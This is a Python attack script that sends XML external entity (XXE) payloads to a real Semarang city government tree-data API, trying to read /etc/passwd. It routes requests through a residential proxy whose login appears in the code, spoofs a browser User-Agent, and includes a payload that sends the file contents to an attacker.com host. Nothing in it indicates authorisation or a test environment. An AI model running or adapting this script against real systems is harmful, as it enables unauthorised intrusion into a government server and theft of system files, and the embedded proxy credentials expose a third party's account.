#!/usr/bin/env python3
import requests
import time

PROXY = {
    'http': 'http://b04dd480860a80d0:VJvorQIeLmBSK1G9@res.proxy-seller.com:10006',
    'https': 'http://b04dd480860a80d0:VJvorQIeLmBSK1G9@res.proxy-seller.com:10006'
}

TARGET = "https://pohon.disperkim.semarangkota.go.id/api/pohon"

# XXE payload to read /etc/passwd
xxe_payloads = [
    # Standard XXE
    '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>''',
    
    # PHP filter XXE (base64 encoded)
    '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<root><data>&xxe;</data></root>''',
    
    # Parameter entity XXE
    '''<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?x=%file;'>">
  %eval;
]>
<root>test</root>''',
]

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    'Content-Type': 'application/xml',
    'Accept': '*/*'
}

for i, payload in enumerate(xxe_payloads[:2]):  # Test first 2 payloads
    print(f"\n[*] Testing XXE payload #{i+1}...")
    print(f"[*] Payload preview: {payload[:100]}...")
    
    try:
        resp = requests.post(TARGET, data=payload, headers=headers, 
                           proxies=PROXY, verify=False, timeout=30)
        print(f"[*] Status: {resp.status_code}")
        print(f"[*] Response length: {len(resp.text)}")
        print(f"[*] Response: {resp.text[:1000]}")
        
        # Check if /etc/passwd content is in response
        if 'root:' in resp.text or 'cm9vdDo' in resp.text:  # cm9vdDo = base64 of "root:"
            print("[+] XXE SUCCESSFUL! /etc/passwd content found!")
            
    except Exception as e:
        print(f"[-] Error: {e}")
    
    time.sleep(2)

# Also try GET request to see if format parameter works
print("\n[*] Testing format parameter in URL...")
try:
    resp = requests.get(TARGET + ".xml", headers={'User-Agent': 'Mozilla/5.0'}, 
                       proxies=PROXY, verify=False, timeout=30)
    print(f"[*] Status: {resp.status_code}")
    print(f"[*] Response: {resp.text[:500]}")
except Exception as e:
    print(f"[-] Error: {e}")